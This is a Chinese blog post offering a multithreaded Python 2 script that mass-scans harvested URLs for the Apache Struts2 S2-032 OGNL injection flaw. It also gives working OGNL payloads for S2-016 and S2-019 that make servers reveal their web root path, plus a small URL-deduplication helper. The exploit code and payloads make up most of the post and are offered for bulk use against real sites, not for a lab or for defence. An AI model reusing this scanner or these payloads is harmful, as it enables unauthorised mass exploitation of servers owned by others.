看乌云上许多大牛上脚本,我也写个玩吧!写的比较简单。懒得优化,参数获取就自己改吧

需要抓很多struts,可用爱站工具包或则自己写个脚本爬

#coding:utf8
import urllib2
import re
import urlparse
import Queue
import threading
import mechanize
import cookielib queue = Queue.Queue()
mutex = threading.Lock() def find_title(url):
try:
br = mechanize.Browser()
br.set_cookiejar(cookielib.LWPCookieJar()) # Cookie jar
br.set_handle_equiv(True) # Browser Option
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
br.open(url)
t = br.title().decode('utf-8').encode('gb2312')
return t
except Exception,e:
return '' def s2_status():
global number
while True:
if queue.empty():
break url = queue.get()
data = "method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23matt%3D%23attr.get(%23parameters.command%5B0%5D)%2C%23matt.getWriter().println(3345*2356)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%2C1%3F%23xx%3A%23request.toString&command=com.opensymphony.xwork2.dispatcher.HttpServletResponse"
html,status = url_open(url,data)
if status == '' and re.search(r'',html):
mutex.acquire()
print url+" "+find_title(url)+" s2-032 "+str(number)
mutex.release()
number = number + 1 #else:
#print "no" def url_open(url,data):
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36"
#"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
#"Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3",
#"Accept-Encoding": "gzip, deflate",
#"If-Modified-Since": "Tue, 03 Dec 2010 08:25:11 GMT",
#"Cache-Control": "max-age=0"
}
try:
req = urllib2.Request(url,data,headers = headers)
html = urllib2.urlopen(req,timeout=3).read()
ret = ''
return html,ret
except urllib2.HTTPError, e:
return '',e.code
except:
return '','' #------------------------------------------------------------
if __name__ == "__main__":
global number
number = 1
with open('action.txt','r') as f:
url = f.readline()
while url:
queue.put(str(url))
url = f.readline()
print queue.qsize() threads = []
for i in range(500):
t = threading.Thread(target=s2_status)
t.start()
threads.append(t) for t in threads:
t.join() print 'All Done!'

简单去重,由于数量少,就没考虑溢出

import re

with open('1.txt','r') as f:
txt = f.read()
#print txt url = re.findall(r'(http://.*?)\|',txt)
url = set(url)
for i in url:
with open('result.txt','a+') as f:
f.write(i.strip()+"\n")

效果图

16,19poc

data_32 = "method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23matt%3D%23attr.get(%23parameters.command%5B0%5D)%2C%23matt.getWriter().println(7880820)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%2C1%3F%23xx%3A%23request.toString&command=com.opensymphony.xwork2.dispatcher.HttpServletResponse"
data_16 = "redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(%22web%22),%23resp.getWriter().print(%22path7880820:%22),%23resp.getWriter().print(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23resp.getWriter().flush(),%23resp.getWriter().close()}"
data_19 = "debug=command&expression=%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(%22web%22),%23resp.getWriter().print(%22path7880820:%22),%23resp.getWriter().print(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23resp.getWriter().flush(),%23resp.getWriter().close()"

s2-032批量脚本的更多相关文章

  1. salt-ssh的批量脚本及使用方法

    author: headsen   chen date : 2018-08-02   20:06:06 1,salt-ssh的安装: yum -y install epel-release yum - ...

  2. ssh 信任关系无密码登陆,清除公钥,批量脚本

    实验机器: 主机a:192.168.2.128 主机b:192.168.2.130 实验目标: 手动建立a到b的信任关系,实现在主机a通过 ssh 192.168.2.130不用输入密码远程登陆b主机 ...

  3. ant-jmeter批量脚本

    <?xml version="1.0"?> <project name="autotest" default="all" ...

  4. IISPUT 批量脚本的编写

    import requests import re import sys header = { "Accept":"text/javascript, applicatio ...

  5. PHP代码格式化批量脚本

    @echo off echo please input phpCB url: set /p input= cd /d "E:\tools\phpCB\" phpCB --space ...

  6. thinkphp5.0.*命令执行批量脚本

    import requests import Queue import threading import time user_agent = "Mozilla/5.0 (Windows NT ...

  7. php 批量脚本检测语法错误

    shell 根据参数检测 当前php项目下 的语法错误 #!/bin/bash function getdir(){ for el in `ls $1` do dir_file=$1"/&q ...

  8. SQL Server中中数据行批量插入脚本的存储实现

        看到博友SQL Server MVP桦仔的一篇博文“将表里的数据批量生成INSERT语句的存储过程的实现”.我仔细看来博文中的两个存储代码,自我感觉两个都不太满意,都是生成的单行模式的插入,数 ...

  9. cacti批量添加主机脚本

    #!/bin/bash ##cacti批量脚本位置 device=/var/www/html/cacti/cli/add_device.php graphs=/var/www/html/cacti/c ...

随机推荐

  1. Note_Master-Detail Application(iOS template)_02_YJYAppDelegate.m

    //YJYAppDelegate.m #import "YJYAppDelegate.h" #import "YJYMasterViewController.h" ...

  2. 第一个PHP程序

    <html> <head> <title><?php echo"这是第一个php程序"?></title> <st ...

  3. 升级IOS 9 和 XCode 7 引起的问题

    问题一: 升级xcode 7最低的系统配置要求 升级了ios9 后使用 xcode 6.1 已经不能用了,必须升级 xcode 7才行,原先的系统是OSX 10.10.1 版本.而xcode 7.0 ...

  4. POJ3974 (manacher)

    var s,t:ansistring; n,op:longint; p:..] of longint; procedure pre; var i:longint; begin s:='$*'; to ...

  5. PHP url重定向

    1.使用header()函数 PHP的 HTTP相关函数种提供了一个 header()函数,首先要清楚,header()函数必须放在php程序的开头部分,而且之前不能有另外的 header() 函数或 ...

  6. javascript js写特效日历

    <!doctype html public "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  7. nginx的启动,停止命令

    停止操作停止操作是通过向nginx进程发送信号(什么是信号请参阅linux文 章)来进行的步骤1:查询nginx主进程号ps -ef | grep nginx在进程列表里 面找master进程,它的编 ...

  8. HDU 1003 Max Sum(AC代码)

    #include <stdio.h> int main(){ int i,t,j,n,x; int start,end,temp,max,sum; scanf("%d" ...

  9. 《JavaScript Ninja》之函数是根基

    函数是根基 理解函数为什么如此重要 JavaScript 是一门 函数式语言 . 函数为什么是第一型对象 在 JavaScript 中,函数可以共处,可以将其视为其他任意类型的 JavaScript ...

  10. JavaScript数据结构——数组

    参考书籍:<学习JavaScript数据结构与算法>